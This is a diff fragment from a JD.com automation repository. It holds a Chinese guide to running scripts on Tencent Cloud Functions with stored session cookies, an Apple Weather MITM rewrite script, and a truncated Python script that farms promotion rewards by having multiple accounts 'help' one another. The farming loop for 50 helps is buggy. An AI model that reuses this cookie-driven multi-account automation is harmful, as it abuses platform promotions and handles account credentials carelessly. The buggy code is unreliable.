**缺点**:多个脚本不同时间点运行无法满足 + +方案二:同一个仓库下不同的时间点,分别执行不同的脚本(类似GitHub Action执行机制) + +在项目文件夹内新建 `index.js` + +编辑文件 + +```javascript +'use strict'; +exports.main_handler = async (event, context, callback) => { + for (const v of event["Message"].split("\r\n")) { + //解决云函数热启动问题 + delete require.cache[require.resolve(`./${v}.js`)]; + console.log(v); + require(`./${v}.js`) + } +} + +``` + +此时触发管理按照下图中进行设置,附加信息选择“是”,内容填写需要传递执行的具体脚本文件名,以回车键换行。触发器触发后,附加信息栏内的脚本会被执行,设置多个不同时间点的触发器达到类似GitHub Action的效果 + +**优点**:可以满足个性化需求,同一个repository下只需要设置不同的触发器,可以实现不同时间点分别执行不同的脚本
**缺点**:repository下脚本过多,如果需要设置多个触发器,实现个性化运行效果,由于云函数的限制,最多只能设置10个 + +[![B20KxI.png](https://s1.ax1x.com/2020/11/05/B20KxI.png)](https://imgchr.com/i/B20KxI) +[![BRCG0H.png](https://s1.ax1x.com/2020/11/05/BRCG0H.png)](https://imgchr.com/i/BRCG0H) + +**注意:**
+Ⅰ方案一与方案二不能混合到同一个index.js文件中使用,同一个仓库下,二者只能选择其一。
+Ⅱ感谢[issues#115](https://github.com/LXK9301/jd_scripts/issues/115)中的解决方案,目前云函数连续测试已经可以规避热启动问题了。
+Ⅲ在确保完全按照本教程设置的情况下测试云函数运行情况,对于部分人运行日志中出现某些脚本运行失败其他正常,并且错误提示带有strict字样的,请自行删除index.js中的```'use strict';```,再做测试
+ + **增加cookie** + +打开项目文件内的 `jdCookie.js` + +在最上面的 `CookieJDs`里写入 cookie ,多个账号以逗号分隔 + +例如 + +```javascript +let CookieJDs = [ + 'pt_key=xxx;pt_pin=xxx;', + 'pt_key=zzz;pt_pin=zzz;', + 'pt_key=aaa;pt_pin=xxxaaa' +] +``` + + + +## 4.上传至腾讯云 + +[腾讯云函数地址]( https://console.cloud.tencent.com/scf/index ) + +编写函数 + +登录后,点击管理控制台 + +单击左侧导航栏**函数服务**,进入“函数服务”页面。 +在页面上方选择一个地域,最好选择离你常用地区近点的,不至于导致账号异常。单击**新建**。如下图所示: + +![iCloud1](../icon/iCloud1.png) + +在“新建函数”页面填写函数基础信息,单击**下一步**。如下图所示: + +![iCloud2](../icon/iCloud2.png) + +**函数名称**:可以自定义,比如为jd。
**运行环境**:选择 “Nodejs 12.16”。
**创建方式**:选择 “空白函数”。 + +确保环境为Nodejs 12.16,执行方法改为:index.main_handler,提交方式建议选本地文件夹,然后从GitHub项目克隆Zip压缩包,解压成文件夹,然后点击这个上传把文件夹上传进来(记得node_modules文件夹一并上传或者将node_modules文件夹上传到“层”,之后选择“函数管理”-“层管理”绑定上传好的层),完了后点击下面的高级设置。 + +![iCloud3](../icon/iCloud3.png) + +内存用不了太大,64MB就够了(64M内存,免费时长6,400,000秒,内存与免费时长大致关系可以参看云函数官方说明),超时时间改为最大的900秒,然后点击最下面的完成。 + +![iCloud4](../icon/iCloud4.png) + +默认设置下,云函数运行时长最长900s,可以通过设置突破900s限制,**此方法仅适用于新建函数名时设置,已建的无法更改,需要删除后重建**。
+ +新建函数,选择**高级配置**,**执行配置**,启用**异步执行**,之后在**环境配置**下**执行超时时间**,最大可以选择**86400秒**的执行时间。
+ +![iCloud7](../icon/iCloud7.png) + +![iCloud8](../icon/iCloud7.png) + +## 5.设置触发器 + +点击刚创建的函数 + +![BcGa8O.png](https://s1.ax1x.com/2020/11/04/BcGa8O.png) + +点击如图所示 + +![BcGvM4.png](https://s1.ax1x.com/2020/11/04/BcGvM4.png) + +创建触发器 + +![iCloud6](../icon/iCloud6.png) + +触发方式默认“**定时触发**”,定时任务名称随便起个名字,触发周期根据自己需要自行设置。 + +想进阶使用触发器的自行查看本文中方案一和方案二中的说明 + +关于触发周期中的自定义触发周期,使用的是 Cron表达式,这个自行学习下吧 + + +[Corn文档](https://cloud.tencent.com/document/product/583/9708#cron-.E8.A1.A8.E8.BE.BE.E5.BC.8F) + +目前repo中按照每个脚本一个定时器的方式设置到云函数中,大约需要触发器10多个,由于云函数触发器限制最多10个,需要对触发器进行整合,整合后触发器保持在10个以内,以下设置仅供参考
+ +| JavaScript | 脚本名称 | 活动时间 | serverless.yml | +| :------------------: | :-----------------------: | :------: | :---------------: | +| `getJDCookie` | 扫码获取京东Cookie | 长期 | / | +| `jd_bean_change` | 京豆变动通知 | 长期 | 30 7 * * * | +| `jd_bean_home` | 领京豆额外奖励 | 长期 | 30 7 * * * | +| `jd_bean_sign` | 京豆签到 | 长期 | 0 0 * * * | +| `jd_beauty` | 美丽研究院 | 长期 | 0 0-16/8,20 * * * | +| `jd_blueCoin` | 京小超兑换奖品 | 长期 | 0 0 * * * | +| `jd_bookshop` | 口袋书店 | 长期 | 5 6-18/6,8 * * * | +| `jd_car` | 京东汽车 | 长期 | 10 0 * * * | +| `jd_car_exchange` | 京东汽车兑换 | 长期 | 0 0 * * * | +| `jd_cash` | 签到领现金 | 长期 | 0 0-16/8,20 * * * | +| `jd_cfd` | 京喜财富岛 | 长期 | 0 0-16/8,20 * * * | +| `jd_club_lottery` | 摇京豆 | 长期 | 0 0 * * * | +| `jd_crazy_joy` | 疯狂的joy | 长期 | 30 7 * * * | +| `jd_crazy_joy_bonus` | 监控crazyJoy分红 | 长期 | 30 7 * * * | +| `jd_crazy_joy_coin` | 疯狂的joy挂机 | 长期 | / | +| `jd_daily_egg` | 京东金融-天天提额 | 长期 | 8 */3 * * * | +| `jd_delCoupon` | 删除优惠券 | 长期 | / | +| `jd_dreamFactory` | 京喜工厂 | 长期 | 3 */1 * * * | +| `jd_family` | 京东家庭号 | 长期 | 5 6-18/6,8 * * * | +| `jd_fruit` | 东东农场 | 长期 | 5 6-18/6,8 * * * | +| `jd_get_share_code` | 获取互助码 | 长期 | / | +| `jd_jdfactory` | 东东工厂 | 长期 | 3 */1 * * * | +| `jd_jdzz` | 京东赚赚 | 长期 | 3 1 * * * | +| `jd_joy` | 宠汪汪 | 长期 | 3 */1 * * * | +| `jd_joy_feedPets` | 宠汪汪单独喂食 | 长期 | 3 */1 * * * | +| `jd_joy_help` | 宠汪汪强制为别人助力 | 长期 | / | +| `jd_joy_reward` | 宠汪汪兑换奖品 | 长期 | 0 0-16/8,20 * * * | +| `jd_joy_run` | 宠汪汪邀请助力与赛跑助力 | 长期 | / | +| `jd_jxd` | 京小兑 | 长期 | 30 7 * * * | +| `jd_jxnc` | 京喜农场 | 长期 | 5 6-18/6,8 * * * | +| `jd_kd` | 京东快递 | 长期 | 3 1 * * * | +| `jd_live` | 京东直播18豆 | 长期 | 0 0-16/8,20 * * * | +| `jd_live_redrain` | 超级直播间红包雨 | 长期 | / | +| `jd_lotteryMachine` | 京东抽奖机 | 长期 | 10 0 * * * | +| `jd_moneyTree` | 摇钱树 | 长期 | 3 */1 * * * | +| `jd_ms` | 京东秒秒币 | 长期 | 10 0 * * * | +| `jd_necklace` | 点点券 | 长期 | 0 0-16/8,20 * * * | +| `jd_pet` | 东东萌宠 | 长期 | 5 6-18/6,8 * * * | +| `jd_pigPet` | 京东金融-养猪猪 | 长期 | 3 1 * * * | +| `jd_plantBean` | 种豆得豆 | 长期 | 3 */1 * * * | +| `jd_price` | 京东保价 | 长期 | 30 7 * * * | +| `jd_rankingList` | 京东排行榜 | 长期 | 30 7 * * * | +| `jd_redPacket` | 全民开红包 | 长期 | 10 0 * * * | +| `jd_sgmh` | 闪购盲盒 | 长期 | 30 7 * * * | +| `jd_shop` | 进店领豆 | 长期 | 10 0 * * * | +| `jd_small_home` | 东东小窝 | 长期 | 0 0-16/8,20 * * * | +| `jd_speed` | 天天加速 | 长期 | 8 */3 * * * | +| `jd_speed_sign` | 京东极速版签到+赚现金任务 | 长期 | 5 6-18/6,8 * * * | +| `jd_superMarket` | 东东超市 | 长期 | 15 */6 * * * | +| `jd_syj` | 十元街 | 长期 | 3 1 * * * | +| `jd_unsubscribe` | 取关京东店铺和商品 | 长期 | 10 0 * * * | +| `jx_sign` | 京喜签到 | 长期 | 3 1 * * * | + +点击提交,所有流程就结束了。 diff --git a/backUp/iOS_Weather_AQI_Standard.js b/backUp/iOS_Weather_AQI_Standard.js new file mode 100644 index 0000000..a460036 --- /dev/null +++ b/backUp/iOS_Weather_AQI_Standard.js @@ -0,0 +1,138 @@ +// Developed by Hackl0us (https://github.com/hackl0us) + +// STEP 1: 前往 https://aqicn.org/data-platform/token/ 注册账户,将申请的 API Token 填入下方 +let aqicnToken = '' +// STEP 2: 参考下方配置片段,在代理工具的配置文件中添加对应的配置。注意:script-path 后应该替换为添加 apicnToken 值后的脚本路径 +/* +===============Surge================= +[Script] +AQI-US = type=http-response, pattern=https://weather-data.apple.com/v1/weather/[\w-]+/[0-9]+\.[0-9]+/[0-9]+\.[0-9]+\?, requires-body=true, script-path=/path/to/iOS_Weather_AQI_Standard.js + +[MITM] +hostname = weather-data.apple.com +*/ +const $ = new Env('牛逼天气'); +aqicnToken = $.getdata('hackl0us_aqi_token'); + +const AirQualityStandard = { + CN: 'HJ6332012.1', + US: 'EPA_NowCast.1' +} + +const AirQualityLevel = { + GOOD: 1, + MODERATE: 2, + UNHEALTHY_FOR_SENSITIVE: 3, + UNHEALTHY: 4, + VERY_UNHEALTHY: 5, + HAZARDOUS: 6 +} + +const coordRegex = /https:\/\/weather-data\.apple\.com\/v1\/weather\/[\w-]+\/([0-9]+\.[0-9]+)\/([0-9]+\.[0-9]+)\?/ +const [_, lat, lng] = $request.url.match(coordRegex) + +function classifyAirQualityLevel(aqiIndex) { + if (aqiIndex >= 0 && aqiIndex <= 50) { + return AirQualityLevel.GOOD; + } else if (aqiIndex >= 51 && aqiIndex <= 100) { + return AirQualityLevel.MODERATE; + } else if (aqiIndex >= 101 && aqiIndex <= 150) { + return AirQualityLevel.UNHEALTHY_FOR_SENSITIVE; + } else if (aqiIndex >= 151 && aqiIndex <= 200) { + return AirQualityLevel.UNHEALTHY; + } else if (aqiIndex >= 201 && aqiIndex <= 300) { + return AirQualityLevel.VERY_UNHEALTHY; + } else if (aqiIndex >= 301 && aqiIndex <= 500) { + return AirQualityLevel.HAZARDOUS; + } +} + +function modifyWeatherResp(weatherRespBody, aqicnRespBody) { + let weatherRespJson = JSON.parse(weatherRespBody) + let aqicnRespJson = JSON.parse(aqicnRespBody).data + weatherRespJson.air_quality = constructAirQuailityNode(aqicnRespJson) + return JSON.stringify(weatherRespJson) +} + +function getPrimaryPollutant(pollutant) { + switch (pollutant) { + case 'co': + return 'CO2'; + case 'so2': + return 'SO2'; + case 'no2': + return 'NO2'; + case 'pm25': + return 'PM2.5'; + case 'pm10': + return 'PM10'; + case 'o3': + return 'OZONE'; + default: + console.log('Unknown pollutant ' + pollutant); + } +} + +function constructAirQuailityNode(aqicnData) { + let airQualityNode = { "source": "", "learnMoreURL": "", "isSignificant": true, "airQualityCategoryIndex": 1, "airQualityScale": "", "airQualityIndex": 0, "pollutants": { "CO": { "name": "CO", "amount": 0, "unit": "μg/m3" }, "SO2": { "name": "SO2", "amount": 0, "unit": "μg/m3" }, "NO2": { "name": "NO2", "amount": 0, "unit": "μg/m3" }, "PM2.5": { "name": "PM2.5", "amount": 0, "unit": "μg/m3" }, "OZONE": { "name": "OZONE", "amount": 0, "unit": "μg/m3" }, "PM10": { "name": "PM10", "amount": 0, "unit": "μg/m3" } }, "metadata": { "reported_time": 0, "longitude": 0, "provider_name": "aqicn.org", "expire_time": 2, "provider_logo": "https://i.loli.net/2020/12/27/UqW23eZLFAIbxGV.png", "read_time": 2, "latitude": 0, "v": 1, "language": "", "data_source": 0 }, "name": "AirQuality", "primaryPollutant": "" } + const aqicnIndex = aqicnData.aqi + airQualityNode.source = aqicnData.city.name + airQualityNode.learnMoreURL = aqicnData.city.url + '/cn/m' + airQualityNode.airQualityCategoryIndex = classifyAirQualityLevel(aqicnIndex) + airQualityNode.airQualityScale = AirQualityStandard.US + airQualityNode.airQualityIndex = aqicnIndex + airQualityNode.pollutants.CO.amount = aqicnData.iaqi.co?.v || -1 + airQualityNode.pollutants.SO2.amount = aqicnData.iaqi.so2?.v || -1 + airQualityNode.pollutants.NO2.amount = aqicnData.iaqi.no2?.v || -1 + airQualityNode.pollutants["PM2.5"].amount = aqicnData.iaqi.pm25?.v || -1 + airQualityNode.pollutants.OZONE.amount = aqicnData.iaqi.o3?.v || -1 + airQualityNode.pollutants.PM10.amount = aqicnData.iaqi.pm10?.v || -1 + airQualityNode.metadata.latitude = aqicnData.city.geo[0] + airQualityNode.metadata.longitude = aqicnData.city.geo[1] + airQualityNode.metadata.read_time = roundHours(new Date(), 'down') + airQualityNode.metadata.expire_time = roundHours(new Date(), 'up') + airQualityNode.metadata.reported_time = aqicnData.time.v + //airQualityNode.metadata.language = $request.headers['Accept-Language'] + airQualityNode.primaryPollutant = getPrimaryPollutant(aqicnData.dominentpol) + return airQualityNode +} + +function roundHours(time, method) { + switch (method) { + case 'up': + time.setHours(time.getHours() + Math.ceil(time.getMinutes() / 60)); + break; + case 'down': + time.setHours(time.getHours() + Math.floor(time.getMinutes() / 60)); + break; + default: + console.log("Error rounding method"); + } + time.setMinutes(2, 0, 0); + return time; +} + +// $httpClient.get(`https://api.waqi.info/feed/geo:${lat};${lng}/?token=${aqicnToken}`, function (error, _response, data) { +// if (error) { +// let body = $response.body +// $done({ body }) +// } else { +// let body = modifyWeatherResp($response.body, data) +// $done({ body }) +// } +// }); +$.get({ url: `https://api.waqi.info/feed/geo:${lat};${lng}/?token=${aqicnToken}`, headers: $request.headers },(err, resp, data) => { + try { + if (err) { + $.logErr(err, resp); + } else { + console.log(`${JSON.stringify(resp.body)}`); + let body = modifyWeatherResp($response.body, resp.body); + $.done({body}); + } + } catch (e) { + $.logErr(e, resp); + $.done(); + } +}); +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/backUp/jd_15.py b/backUp/jd_15.py new file mode 100644 index 0000000..d11aa23 --- /dev/null +++ b/backUp/jd_15.py @@ -0,0 +1,310 @@ +#!/bin/env python3 +# -*- coding: utf-8 -* + +''' +cron: 0 59 23 * * 0 jd_15.py +new Env('Faker群友家电15周年助力'); +''' + +# cron +#不做浏览,只做助力 建议先运行jd_appliances.js 在运行此脚本 +# export jd15_pins=["pt_pin1","pt_pin2"] + +from urllib.parse import unquote, quote +import time, datetime, os, sys +import requests, json, re, random +import threading + +UserAgent = '' +script_name = '家电15周年助力' + + +def printT(msg): + print("[{}]: {}".format(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"), msg)) + sys.stdout.flush() + + +def delEnvs(label): + try: + if label == 'True' or label == 'yes' or label == 'true' or label == 'Yes': + return True + elif label == 'False' or label == 'no' or label == 'false' or label == 'No': + return False + except: + pass + try: + if '.' in label: + return float(label) + elif '&' in label: + return label.split('&') + elif '@' in label: + return label.split('@') + else: + return int(label) + except: + return label + + +class getJDCookie(): + # 适配青龙平台环境ck + def getckfile(self): + ql_new = '/ql/config/env.sh' + ql_old = '/ql/config/cookie.sh' + if os.path.exists(ql_new): + printT("当前环境青龙面板新版") + return ql_new + elif os.path.exists(ql_old): + printT("当前环境青龙面板旧版") + return ql_old + + # 获取cookie + def getallCookie(self): + cookies = '' + ckfile = self.getckfile() + try: + if os.path.exists(ckfile): + with open(ckfile, "r", encoding="utf-8") as f: + cks_text = f.read() + if 'pt_key=' in cks_text and 'pt_pin=' in cks_text: + r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) + cks_list = r.findall(cks_text) + if len(cks_list) > 0: + for ck in cks_list: + cookies += ck + return cookies + except Exception as e: + printT(f"【getCookie Error】{e}") + + # 检测cookie格式是否正确 + def getUserInfo(self, ck, user_order, pinName): + url = 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion?orgFlag=JD_PinGou_New&callSource=mainorder&channel=4&isHomewhite=0&sceneval=2&sceneval=2&callback=' + headers = { + 'Cookie': ck, + 'Accept': '*/*', + 'Connection': 'close', + 'Referer': 'https://home.m.jd.com/myJd/home.action', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'me-api.jd.com', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1', + 'Accept-Language': 'zh-cn' + } + try: + resp = requests.get(url=url, headers=headers, timeout=60).json() + if resp['retcode'] == "0": + nickname = resp['data']['userInfo']['baseInfo']['nickname'] + return ck, nickname + else: + context = f"账号{user_order}【{pinName}】Cookie 已失效!请重新获取。" + print(context) + return ck, False + except Exception: + context = f"账号{user_order}【{pinName}】Cookie 已失效!请重新获取。" + print(context) + return ck, False + + def getcookies(self): + """ + :return: cookiesList,userNameList,pinNameList + """ + cookiesList = [] + pinNameList = [] + nickNameList = [] + cookies = self.getallCookie() + if 'pt_key=' in cookies and 'pt_pin=' in cookies: + r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) + result = r.findall(cookies) + if len(result) >= 1: + printT("您已配置{}个账号".format(len(result))) + user_order = 1 + for ck in result: + r = re.compile(r"pt_pin=(.*?);") + pinName = r.findall(ck) + pinName = unquote(pinName[0]) + # 获取账号名 + ck, nickname = self.getUserInfo(ck, user_order, pinName) + if nickname != False: + cookiesList.append(ck) + pinNameList.append(pinName) + nickNameList.append(nickname) + user_order += 1 + else: + user_order += 1 + continue + if len(cookiesList) > 0: + return cookiesList, pinNameList, nickNameList + else: + printT("没有可用Cookie,已退出") + exit(4) + else: + printT("没有可用Cookie,已退出") + exit(4) + + +def getPinEnvs(): + if "jd15_pins" in os.environ: + if len(os.environ["jd15_pins"]) != 0: + jd15_pins = os.environ["jd15_pins"] + jd15_pins = jd15_pins.replace('[', '').replace(']', '').replace('\'', '').replace(' ', '').split(',') + printT(f"已获取并使用Env环境 jd15_pins:{jd15_pins}") + return jd15_pins + else: + printT('请先配置export jd15_pins=["pt_pin1","pt_pin2"]') + exit(4) + printT('请先配置export jd15_pins=["pt_pin1","pt_pin2"]') + exit(4) + + +def res_post(cookie, body): + url = "https://api.m.jd.com/api" + headers = { + "Host": "api.m.jd.com", + "content-length": "146", + "accept": "application/json, text/plain, */*", + "origin": "https://welfare.m.jd.com", + "user-agent": "jdapp;android;10.1.0;10;4636532323835366-1683336356836626;network/UNKNOWN;model/MI 8;addressid/4608453733;aid/dc52285fa836e8fb;oaid/a28cc4ac8bda0bf6;osVer/29;appBuild/89568;partner/xiaomi001;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045715 Mobile Safari/537.36", + "sec-fetch-mode": "cors", + "content-type": "application/x-www-form-urlencoded", + "x-requested-with": "com.jingdong.app.mall", + "sec-fetch-site": "same-site", + "referer": "https://welfare.m.jd.com/", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q\u003d0.9,en-US;q\u003d0.8,en;q\u003d0.7", + "cookie": cookie + } + body = json.dumps(body) + t = str(int(time.time() * 1000)) + data = { + 'appid': 'anniversary-celebra', + 'functionId': 'jd_interaction_prod', + 'body': body, + 't': t, + 'loginType': 2 + } + res = requests.post(url=url, headers=headers, data=data).json() + return res + + +def get_share5(cookie): + body = {"type": "99", "apiMapping": "/api/supportTask/getShareId"} + res = res_post(cookie, body) + # print(res) + if '成功' in res['msg']: + return res['data'] + + +def get_share50(cookie): + body = {"type": "100", "apiMapping": "/api/supportTask/getShareId"} + res = res_post(cookie, body) + # print(res) + + if '成功' in res['msg']: + return res['data'] + + +def getprize1(cookie,nickname): + body = {"apiMapping": "/api/prize/getCoupon"} + res = res_post(cookie, body) + # print(res) + if res['code'] == 200: + print('------【账号:' + nickname + '】------' + res['data']['name']) + else: + print('------【账号:' + nickname + '】------优惠券领过了') + + +def getprize2(cookie,nickname): + body = {"apiMapping": "/api/prize/doLottery"} + res = res_post(cookie, body) + # print(res) + if res['code'] == 5011: + print('------【账号:' + nickname + '】------未中奖e卡') + else: + print('------【账号:' + nickname + '】------不确定,手动确认') + + +def help(mycookie, nickname, cookiesList, nickNameList): + shareId5 = get_share5(mycookie) + if shareId5 != None: + # print('获取5助力码成功:', shareId5) + # print('--------------------------------------开始5个助力-------------') + body1 = {"shareId": shareId5, "apiMapping": "/api/supportTask/doSupport"} + for i in range(len(cookiesList)): + res = res_post(cookiesList[i], body1) + # print(res) + try: + if res['code'] == 200 and res['data']['status'] == 7: + print(nickNameList[i] + '助力' + nickname + ':' + '5助力成功') + elif res['code'] == 200 and res['data']['status'] == 4: + print(nickNameList[i]+'助力'+nickname+':'+'5个助力完成啦----') + getprize1(mycookie,nickname) + getprize2(mycookie,nickname) + break + elif res['code'] == 200 and res['data']['status'] == 3: + print(nickNameList[i]+'助力'+nickname+':'+'5已经助力过了') + except: + pass + else: + print('【账号:' + nickname + '】请先手动执行下浏览任务') + + shareId50 = get_share50(mycookie) + if shareId50 != None: + # print('获取50助力码成功:', shareId50) + # print('-------------------------------开始50个助力-------------') + body2 = {"shareId": shareId50, "apiMapping": "/api/supportTask/doSupport"} + for ck in mycookie: + res = res_post(ck, body2) + # print(res) + try: + if res['code'] == 200 and res['data']['status'] == 7: + print(nickNameList[i] + '助力' + nickname + ':' + '50助力成功') + elif 